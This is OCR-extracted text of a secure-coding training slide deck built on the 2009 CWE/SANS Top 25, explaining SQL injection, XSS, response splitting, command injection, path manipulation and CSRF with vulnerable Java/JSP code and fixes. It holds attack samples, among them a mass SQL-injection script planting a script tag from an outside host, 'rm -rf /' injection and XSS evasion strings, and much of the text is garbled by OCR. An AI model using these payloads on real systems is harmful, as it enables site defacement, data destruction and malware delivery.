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SQL Injection
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CWE Top 25

B http://cwe.mitre.org/top25/index.html
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Common Weakness Enumeration

A Community-Developed Dictionary of Software Weakness Types

Full Dictionary View
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Research View
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Community
Related Activities
Discussion List
Research
CWE/SANS Top 25
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2009 CWE/SANS Top 25 Most Dangerous Programming Errors

Document version: 1.3 (pdf) Date: July 27, 2009
Project Coordinators: Document Editor:
Bob Martin (MITRE) Steve Christey (MITRE)

Mason Brown {SANS)
Alan Paller (SANS)

Introduction

The 2009 CWE/SANS Top 25 Most Dangerous Programming Errors is a list of the most significant programming errors that can lea
software vulnerabilities. They occur frequently, are often easy to find, and easy to exploit. They are dangerous because they will frg
attackers to completely take over the software, steal data, or prevent the software from working at all.

The list is the result of collaboration between the SANS Institute, MITRE, and many top software security experts in the US and Ey
experiences in the development of the SANS Top 20 attack vectors (http://www.sans.org/top20/) and MITRE's Common Weaknes|
(CWE) (http://cwe.mitre.org/). MITRE maintains the CWE web site, with the support of the US Department of Homeland Security's
Security Division, presenting detailed descriptions of the top 25 programming errors along with authoritative guidance for mitigatin
The CWE site also contains data on more than 700 additional programming errors, design errors, and architecture errors that can
vulnerabilities.

The main goal for the Top 25 list is to stop vulnerabilities at the source by educating programmers on how to eliminate all-too-com|
before software is even shipped. The list will be a tool for education and awareness that will help programmers to prevent the kindg

that plague the software industry. Software consumers could use the same list to help them to ask for more secure software. Final

21
2 B’ -
I‘F I\
22

11



Agenda

.J\)

e B % D

IR
¥ RN R AR
= Break

EAR 7\ G

PENETRATION

TESTING
SECURITY
Lvm OP{RATION;
TESTS AND FEEDBACK FROM
EST RESULTS THE FIELD

23
Security Touchpoints in SDLC (Gary McGraw)
SECURITY EXTERNAL W
REQUIREMENTS REVIEW
ABUSE RISK I SOF ARE
CALES AMNALYSIS S E( SECU RITY
\ J \ BUILDING SECURITY IMN
Reau A £ £
AN Use Cases| | AND D &
GARY McGRAW
Fareword by ban Gear
Ret: Eoin Keary, Integrating into the SDLC;
Gary McGraw, Software Security
24

12



Common Flaws In Web Applications

SQL Injection

Cross Site Scripting (XSS)

HTTP Response Splitting

Command Injection Improper Input Validation
Path Manipulation

Cross Site Request Forgery (CSRF)
Access Control

Insecure Randomness

Password Management

10. Race Conditions

11. Error Handling

12. Code Quality

13. Left Over Debug Code: Encapsulation
14. Misconfiguration: Environment

o meoi i (NS ] (Pl

74 ]

1. SQL Injection

Instructor will demonstrate SQL Injection Attack

26
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1. SQL Injection

select * from
where account

1. SQL Injection

select * from
where account

name -> gary

item

sku > S12345-001

= “$name” and sku = “$sku’

item

= “gary” and sku = “S12345-001~

14



1. SQL Injection

name > gary sku > foo’bar

select * from i1tem

where account

1. SQL Injection

“$name” and sku = “$sku’

select * from i1tem

where account

“gary”| and sku = |“foo’bar”

This is a string This is a string

15



1. SQL Injection

Another part of
a SQL query

select * from i1tem
where account = [gary"| and sku = |“foo’| | bar”

This is a string This is a string

1. SQL Injection

name > gary sku - or 1=1 --

select * from i1tem
where account = “$name® and sku = “$sku’



1. SQL Injection

Injected SQL
Part

select * from item
where account = “gary” and sku = “” |jor 1=1 --~7

b

f7* SQL Injection /A Insert XSS %% ¥ DB

DECLARE @T varchar(255),@C varchar(255)
DECLARE Table_Cursor CURSOR

FOR select a.name,b.name from sysobjects a,syscolumns b

where a.id = b.id and a.xtype = 'u’ and (' b.xtype = 99 or b.xtype = 35 or
b.xtype = 231 or b.xtype = 167)

OPEN Table_Cursor

FETCH NEXT FROM Table_Cursor INTO @T, @C WHILE( @@FETCH_STATUS =
0)

BEGIN

Exec (‘update [+ @T + ‘] set [' + @C + ‘]=rtrim(convert(varchar,[+ @C +
P)+ “<script src=http://ucmal.com/0.js></script>"")

FETCH NEXT FROM Table_Cursor INTO @T, @C

END

CLOSE Table_Cursor

DEALLOCATE Table_Cursor Us 2008/1 ';".5 |35
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BT g SQL Injection <% % 6)F7 3

LISy
(1) #1* AP Connect DB i UserlD + 123 2~ sysobjects
syscolumns &3 g {7 s &
(2) # * MSSQL #2354 » 2 * i A ehTHAS Pt
#ﬂuiﬁ%ﬁa@ﬁﬁ’iﬁ%ﬁgag#&
ABF LB (Q?)  Boiss N FEFEL S FEEFHRET !

BIEPen® 2RI
(1) AP#MRF R ENR T £ 7 & 5 138 System Table 74"
(2) MSSQL DB ¢hsa R %428 > &) 1sal23AS!
L ¢ . %A% ~sa ~ sasa~sal23 ~ 123 ~ 321~ 001 ~ 007 ~
mssql ~ sql2000 ~ sql2005 ~ sql2008 ~ mis ~ admin ~ gss -~
2PREAER LA
37

How to fix SQL injection

Escaping data
Parameter Binding
Input validation

Use better Framework

19



SQL Injection: Original Code

String name = request.getParameter(“name™);
String sku = request.getParameter(“sku’);

String sql =
“select * from item where account =
+ name + “* and sku = “” + sku + “?7’;

Connection conn = getConnection();
Statement stmt = conn.createStatement() ;
ResultSet rs = stmt.executeQuery( sql ) ;

Fixing SQL Injection: Escaping

String name = request.getParameter(“name’);
String sku = request.getParameter(‘“‘sku™);
// escape apostrophe to double apostrophe
if (null = sku)

sku = sku.replaceAllI(**””, *“777);

String sql =
“select * from item where account =
+ name + “* and sku = “” + sku + “?7’;

Connection conn = getConnection();
Statement stmt = conn.createStatement() ;
ResultSet rs = stmt.executeQuery( sql ) ;



Fixing SQL Injection: Escaping

name > gary sku - “ or 1=1 --

name > gary sku - or 1=1 --

select * from item
where account = “$name® and sku = “$sku’

Fixing SQL Injection: Escaping

Double apostrophes inside
a quoted string means a
single apostrophe

select * from item

where account = [fgary"|and sku = | or 1=1 --~

This is a string This is a string

21



Numeric Field Injection

select * from i1tem
where account = “gary”™ and sku_id =|1234

No need to
guote numbers

Fixing SQL Injection: Escaping

name > gary sku_id > 1234 or 1=1

After escaped, no change...

name > gary sku_id > 1234 or 1=1

select * from i1tem
where account = “$name” and sku_ id = $sku_id

22



Numeric Field Injection

select * from item

where account = “gary” and sku_id =|1234 or 1=1

No need to have
apostrophe

Fixing Numeric Field SQL Injection

String name = request.getParameter(“name’);
String sku_id = request.getParameter(“sku_id”);

// th

é{ IS Note: sometimes you may need to use
roin

+: Float.parseFloat(number)

—+

Connection conn = getConnection();
Statement stmt = conn.createStatement() ;
ResultSet rs = stmt.executeQuery( sql ) ;

23



Fixing SQL Injection: Parameter Binding

select * from i1tem
where account = “gary” and sku = “” or 1=1 --~

e \We have SQL injection problem because hacker can change our
SQL string

e Solution: use static/constant query string

Fixing SQL Injection: Parameter Binding

1. Query string is always static/constant
Str , ) :
s¢r 2- You don’t need to do any escaping, DB
knows the datatype anyway

String sql = “select * from item where
account = ? and sku = ?77;

JDBC Driver send “sql”
to DB in here, DB
analyzes the query

- string, calculate the
Pstmt.setStri ng (2 o SkU) . query plan, and DB

ResultSet rs = pstmt.execute(); knowsyou need to
provide two parameters
later




Fixing SQL Injection: Parameter Binding

select * from i1tem

where ascecount = “$name” and sku = “$sku”’
order by $colname

You can’'t parameterize column name

select * from item

where _account = ? and sku = ?

Fixing SQL Injection: Input Validation

String colname =
request.getParameter(““colname™);

if ( colname.matches(“*[a-zA-Z][0-9a-zA-Z\_]*$) )
{
String sql =
“select * from item “
+ “order by “ + colname;

25



Fixing SQL Injection: Input Validation

e Microsoft SQL Server:
SELECT * FROM user_tbl ORDER BY [my user name]

e Oracle Server
SELECT * FROM user_tbl ORDER BY “my user name”

) 4

More about Input Validatic If this is a bug, fix it. Don't

rely on frontend to protect you!
T/1n2

g g - Can't be longer than 10 bytes
Validation should be b0

Age > 0 and Age < 120 A

4 In1
Add2age.jsp P o

/ — Out

Agel: 7| MNP .
Age 2: -
Calculate Syntactic Check

Total: Semantic Check

52
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Don’t do input validation at client side

Instructor will demonstrate how to by-pass
client side JavaScript validation

)

Don’t do black listing
e Two type of input validation

e Black listing
- everything is ok, except for those specified in here

e White listing
- nothing is allowed, except for those specified in here

54
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Not everything can be validated

Refer to OWASP validation Repository
https:/Z/www.owasp.org/index.php/OWASE: Validation Regex Repository

e URL
A((((https?| Ftps?|gopher|telnet|nntp)://) | (nailto: [news:)) (%[0-9A-Fa-F1{2}| [-
Q_-1-*";/2:08=+$,A-Za-20-9]+) (D.. ! *;/?:,]blank:)?$

e Email:
ADWA-NANEN*T+(2:\ - WA=\ \N\&\*]+H)*0(2: [\w-]+\.)+[a-zA-Z]1{2.7}$

e Username: alphanumeric, no space

e Password!!??

Webmail application 2> email body??

b

Fixing SQL Injection: Use better framework

® There are many frameworks allowing you don’t even
need to write JDBC or query string in your code

e Usually map a POJO (plain old Java object) to a
Database table

c I ass user { ~Table - dbo.user_tbl [ Summary
= = 4. user_id user_name phone_number
String id; 4 John 1234
String name; <  ———— 2 Gary ... 5678
String phone; 3 Kirsten .. 7788
} * ALLL AL AL
56

28



Summary: How to fix SQL injection

Mainly 3 Types of SQL Injection
String Field
Numeric Field
Column Name

Mainly 4 Types of solutions:
e Escaping data
Parameter Binding

[ ]
e Input validation
e Use better Framework

2. Cross-site scripting (XSS)

Instructor will demonstrate XSS Attack

58
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Cross-site scripting (XSS)

2 types of XSS
- Reflective XSS
- Persistent XSS

IS 2R
BT P R RN
Tl AFFEYRATEESOTEFE

hS

XSS: Original Code

while(rs.next()) {
String subject = rs.getString(“subject™);
String question = rs.getString(*‘queustion™);
%>
<tr>
<td><a href="/splc/listHelp.do">gary</a></td>
<td class=newsCell><%= subject %></td>
<td class=newsCell><%= question %></td>
<td class=newsCell>null</td>
</tr>

60
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HTML Basic

(= C:\Documents and Settings\sng\Desktophtest. himl - Windows Internet Explorer,

3~ | @ cripocuments and settingsisngip | | 42| %

% &

[@c:\oucuments and Setting... l_l C - B - [ - G Tess - @-

How you

B test.himl -
File Edt Format wiew Help

Notepad

Done

<html>

<body>
<hl>How you</hl>

</body>
</html>

61

HTML Basic

62

(= C:\Documents and Settings\sng\Deskiophtest. html - Windows Internet Explorer

3~ | @ cripocuments and settingstsngip ] [ 42| X |

ke [@C:\DucumentsandSEttmg..‘l_l - B

= v |2k Page - (0 Tooks - @~

P
Hoou

B te.t.html - Notepad
File Edit Wgmat Wiew Help

=3

<html>
<body>
<hl>How
</body>
</html>

Done

you</hl>

&lt;are&agh;

31



XSS: Original Code

while(rs.next()) {
String subject = rs.getString(“subject™);
String question = rs.getString(“queustion™);
subject = subject.replaceAll(“<*, “&lIt;”);

subject = subject.replaceAll (>, “&gt;”);
%>

<tr>

<td><a href="/splc/listHelp.do">gary</a></td>
<td class=newsCell><%= subject %></td>
<td class=newsCell><%= question %></td>

<td class=newsCell>null</td>
</tr>

But there are more than
just “<“ and “>” to escape
63

3 types of XSS

Inside HTML
<p><%= data %></p>
hacker: <script>alert("hi")</script>

HTML tag attribute

<a href="<%= url %>">click me</a>

hacker: javascript:alert("hi")
hacker: page.html" onmouseover=“alert("hi")

Inside Javascript
<script>var x =

<%= xValue %></script>
hacker: 123; .....

<input type=“text’” onmouseover=“<Y%= data %> />
64 hacker: alert(‘hi’)

32



Fixing XSS: Escaping

Put apache-commons.jar into your classpath

import org.apache.commons. lang.StringEscapeUtils;

while(rs.next()) {
String subject = rs.getString(“subject™);
String question = rs.getString(“queustion’);
subject = StringEscapeUtils.escapeHtml(subject);
%>
<tr>
<td><a href="/splc/listHelp.do">gary</a></td>
<td class=newsCel I><%= subject %></td>
<td class=newsCell><%= question %></td>
<td class=newsCell>null</td>
</tr>

Fixing XSS: Use Taglib

while(rs.next()) {
String subject = rs._getString(“subject™);
String question = rs.getString(“queustion™);
request.setAttribute(“subject”, subject);
request.setAttribute(““question”, question);
%>
<tr>
<td><a href="/splc/listHelp.do''>gary</a></td>
<td class=newsCell><c:out var=“subject” /c:out></td>
<td class=newsCell><c:out var=“question” /c:out></td>
<td class=newsCell>null</td>
</tr>
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3 types of XSS

1. Inside HTML
<p><%= data %></p>

There are no cross HTML

hacker: <script>alert( hi")</ boundaries input in

2. HTML tag attribute 1 escaping
<a href="<%=_url %>">click Me<re

these input. You can't solve
the problem by HTML

avascript:alert("hi®

hacker: page.html™ onmouseover=“alert("hi")

3. Inside Javascript

<script>var x = <%= xValue %></script>

<input type=“text’” onmouseover=“<%= data %> />
67 hack

IE will run the following scripts

<a href=*javascript:alert(“hi”)'>click me</a>

<a

href="java&#x73;— - -
9:">click me</a>| HTML escaping Is not a

magic, it will not solve non-
<input type=“tex| HTML related problem

7 ;hi&#X27 ; &#x2

<input type=‘“text”

onmouseover="8&#x61 ; &#X6C ; &#X65 ; &#XT2 ; &HXT4 ; &#HX28 ; &#X27 ; &#X68 ;

&#HX69; &H#X2T ; &H#X29 ;7 />

But not too worry, IE won’t run these as scripts

<a href=*/abc.jsp?name=javascript:alert(“hi”)">click me</a>

<input type=“text” value=“alert(“hi’)” />

68
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XSS Improper Input Validation

® Variations of “javascript” (used in the MySpace worm).
- Java script
- JaVaScRiPt
- &#106;&#97;&#118;&#97;......

jav&#x09;ascript

jav\asc\nipt

- Many many more

C

C

e Cross-Site Scripting (XSS) can be very difficult to filter out.

More info about XSS attack : http://ha.ckers.org/xss.html

69

XSS — Black Listing

Question: What's wrong with this code?

70

The MySpace server side code was doing incomplete blacklisting.
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XSS — Black Listing

Answer: Hackers will Hack

natne: <sc<scriptriptralen(hi’)¢/script»

™ 8

.NET bonus: Request Validator

e By default, .NET will perform basic/generic request validation
unless you explicitly turn it off

e _NET request validator should be able to protect Type 1 XSS
(inside HTML)

<%@ Page Language=""C#" AutoEventWireup="true"
CodeElle="Default_aspx.cs"™ Inherits="_Default"

al idateRequesty“true’ %>

<IDOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
“http://www._-w3.0org/TR/xhtml1/DTD/xhtmll1-transitional .dtd">

<html xmlIns="http://www.w3.0rg/1999/xhtml" >
<head runat="'server'>
<title>Untitled Page</title>
</head>
<body>
<form id="forml" runat="'server'>
7 <div>



Summary: How to fix XSS

1. Escaping data: escapeHtml()
2. Input validation
2. Use better Framework (Taglib)

78

How to fix XSS (cont)
¢ What if I need to allow user to input HTML tags?

e Simple tag can be handled by
Escape all the data, then change “&It;b&gt;” back to “<b>"

Use a different language, e.g. use [b] to represent <b>, change [b]
back to <b> when display to HTML

e For more complex tags like <a> <input> <img>, you
will have to parse the data, and then make sure there
iS no executable scripts

74
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3. HTTP Response Splitting

B

Addition of unvalidated data to the HTTP header

Could result in XSS vulnerability
Browser cache poisoning
Server cache poisoning

Consider :

<%
response.sendRedirect(*'/region.jsp?
regionCode=""+
request.getParameter(*'regionCode™));
%>

HTTP Response Splitting

76

An HTTP response would look like :

HTTP/1.1 302 Moved Temporarily

Date: Wed, 24 Dec 2003 12:53:28 GMT

Location: http://120.14.10.16/region.jsp?regionCode=us
Server: Apache 2.049 Fri Jan 2 13:15:34 PDT
Content-Type: text/html

Set-Cookie:

JSESSIONID=alkjwerf345sdf0sd9f8; path=/

Connection: Close

<html><head><title>302 Moved Temporarily</title></head>
<b0d?1/_bgcolor="#FFFFFF"> .
<p>This document you requested has moved temporarily.</p>
</body></html>

38



HTTP Response Splitting

1 Since input for region is not validated
I Attacker could supply

/region. i 8’?re 1onCode=us®%0d%0aContent
Length %200%0d%0a%0d%0aHTTP/1 . 1%20200%200K%0d%0aContent—
Type :%20text/html%0d%0aContent-

Length: %2019%0d%0a%0d%0a<htm|>G0t you hacked
mate I!</html>

% 4

HTTP Response Splitting

= Since input for region is not validated
I Attacker could supply

Il ed_Temporariiy
3p1 :26:41

78
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HTTP Response Splitting

<

Proxy Server
Normal User :

The 2nd
request is
Hacker due to HTTP
Proxy server see 2 ESﬁftci)nngs znd
requests and 3 responses, - onitrolled
dropped the last response by hacker
and cached the hacker
Hacker send controlled response as the
2 requests to valid response for 2nd
79 HTTP Server request

Good news for HTTP Response Splitting

ASP.NET 2.0

By default, .NET 2.0 will return 500 and throw exception when there is "\r\n" in
methods that involve HTTP response headers

You can set “enableHeaderChecking” to false in web.config in order to disable
this protection

But our recommendation is developer
ASP.NET : :
P should get use to write program in a
To disat SECUrE Way. And devel_op applications that
will be able to protect itself and be able to
Tomcat £ F'un on any platforms

Tomcat will escape “\r\n” you try to add extra HTTP header
Tomcat 4.X is vulnerable

80
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4. Command Injection

ip
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c
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Command Injection
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Command Injection

$ip -> 127.0.0.1; rm —rF /

# ping S$ip

Command Injection

Injected extra
command

# ping 127.0.0. rm —rf /

Meta-character in
command line

Other meta-chars: ; && || > < | ...



Types of Command Injection

1. Executable name
exec(““c:\my_prog\” + execName)

2. Executable Path
String path = GetEnvironment(“PROG PATH);
exec(path + “prog.exe’);

3. Command line arguments
exec(“/bin/ping “ + ip);

85

How to fix: Executable name

e Usually a design error

e Allow user to execute arbitrary command in a directory is
generally a bad idea

e You may want to limited to execute a command from a allowed
list

String[] allowedCommand = {**list”, “read”, “update’}
if ( Util.inList(command, allowedCommand) ) ...

A special type of validation: referential check
Input is one of the item in a allowed list

86
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Real case to share

e On a C/C++ project, the program create some file in the
beginning of a progress, and then tries to run the following
command to delete a file, SCA report command injection at the
following line

system(i‘del’,.“, + ‘filename):

But you may have Path Manipulation

e Solution: change it to/ and File Race Condition in here as
well

unfink(Crilename)

e Lesson learn: think twice before you run an external command

87

How to fix: Executable path

e Depends on if you “trust” the source of the path

From Request.getParameter(..)

Read from Environment Variable
Read from Property file

ServletContext().getRealPath()

88
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How to fix: Command Line Argument

® May be able to solve by, depending on the command

e Input validation
- Command Switch: only allow “-p”’, or “-c”, etc..
- A PDF filename: “"[a-zA-Z][0-9a-zA-Z\_ ]{0,32}.pdf$

e Escaping
-~ Escape with double quote, and make sure there is no double quote inside
- But the following won't work
sudo” -u www ““$sudo_opt>” touch /data/myfile.dat
And $sudo.opt can:be: “rm srf /”

e Passing the argument as String[] rather than String
- Runtime.exec(String[l) will always execute String[0] ONLY
o But if you run with “/bin/sh” or the command you run will run “/bin/sh”....
89

5. Path Manipulation

e Hacker can control which file to be opened

® Filename:

3 Can be
c:\data\” + filename 3$£ﬁ£ﬁ
filename - ../boot.ini check

¢ Filepath:
path + “myprog.dil”
Path can be “c:\tmp\hacker_ upload\”

90
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Windows Special Bonus

= A Current Path Unix & Windows

b N/ Parent Path Unix & Windows
= =/s 2 Level Up of Parent Path Windows Only
— 3 Level Up of Parent Path Windows Only

o

Summary: Improper Input Validation

Design Phase Issues (use good
framework)

- Plan for systematic input validation
SYStM _ pon't even need to call the API

Database / | single quote (apgstrophe), numbers
HTML angle brackets

l HTTP \rin
Shell Command V] && <>

A /

File system

Input Validation Encoding/Decoding

3 4



6. Cross-site request forgery (CSRF)

/= Welcome to Citibank - Windows Internet Explorer

by e~ | 8] httpiy ik

A o

W
w %j & welcome to ... % [ETheServerSlde‘..‘ [7) fh- 8 i - | page - Tock - @ B BT -
Ié Logged into a online bank, at the same
time, browsing some other web sites

= ) ) ) :
Bjﬂbm Bja_m‘lm Banking  Credit Cards  Lines & Loans  Investing  Planning Sic—

Sign on to your account

Apply for a new account

V| || X |thessrver side ‘ L

>

11

Here's an investment
you can bank on:
Certificates of Deposit
from Citibank

Choose one v

See more from Citi =
Link to carporate and small
business services, Citigraup .
caraers, press releases... 0% APR P —— [ see the dittcll
4 | )
& 1ntermet FHonw v

5

Cross-site request forgery

The online bank Another Website

The bank sends the money since
this is a valid request

Inside in the page, there is a image

<img src="http://bank.example/transfer?
account=victim&amount=1000000&for=hacker">

The browser will
send the request to
the bank with a valid
cookie.

94
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How to fix

<form method=*“transfer_money”>

<input type=“text” name=*“from” />

<input type=“text” name=*“to” />

<input type=“text” name=*““amount” />

<input type=“hidden” name=*‘secret”
value="“<%= a_dynamic_value %> />

</form>

When you send the HTML page (the web form) to the user, add a
secret value in the form. When user send the request to you, check
if the secret value exists and matches.

Since the secret value is dynamic, the hacker will not be able to
guess this value.
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